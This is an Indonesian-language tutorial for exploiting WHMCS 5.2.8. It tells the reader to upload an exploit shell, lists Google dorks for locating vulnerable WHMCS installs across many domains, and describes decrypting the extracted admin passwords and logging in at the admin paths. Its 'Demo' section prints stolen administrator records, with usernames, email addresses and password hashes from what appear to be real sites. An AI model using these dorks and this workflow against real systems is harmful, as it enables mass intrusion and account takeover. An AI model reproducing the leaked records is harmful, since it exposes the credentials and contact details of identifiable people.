Tutor WHMCS 5.2.8 EXPLOIT

Langsung Dowload shellya Xploit

langsung aja praktek

1.pertama upload di web (mau hosting/apalah seterah)

kalo sudah di upload masukan dork

Dorks :

inurl:submitticket.php site:.com
inurl:submitticket.php site:.net
inurl:submitticket.php site:.us
inurl:submitticket.php site:.eu
inurl:submitticket.php site:.org
inurl:submitticket.php site:.uk
intext:"Powered by WHMCompleteSolution"
intext:"Powered by WHMCompleteSolution" inurl:clientarea.php
inurl:announcements.php intext:"WHMCompleteSolution"
intext:"Powered by WHMCS"

disini saya pakai inurl:submitticket.php site:.us

kalo berhasil akan begini

sekarang tinggal decrypt passnya
login admin bisa :
/patch/whmcs/admin/login.php
patch//admin/login.php

Demo

=======================================================
http://serverstreamgroup.us/submitticket.php - Alexa: 3679500
========================================================
1:administrator:soporte@serverstreamgroup.us:360dc1379b71c93ca3d831e3894c65f0
5:adminoti:pastor_requena@hotmail.com:252daed1017c7c23c8f37ebf99ce418e

========================================================
http://my.bestit.us/submitticket.php - Alexa: 2824868
========================================================
1:bestit:bestit.us@gmail.com:c6937c087f943c2a5059c5139d85eee8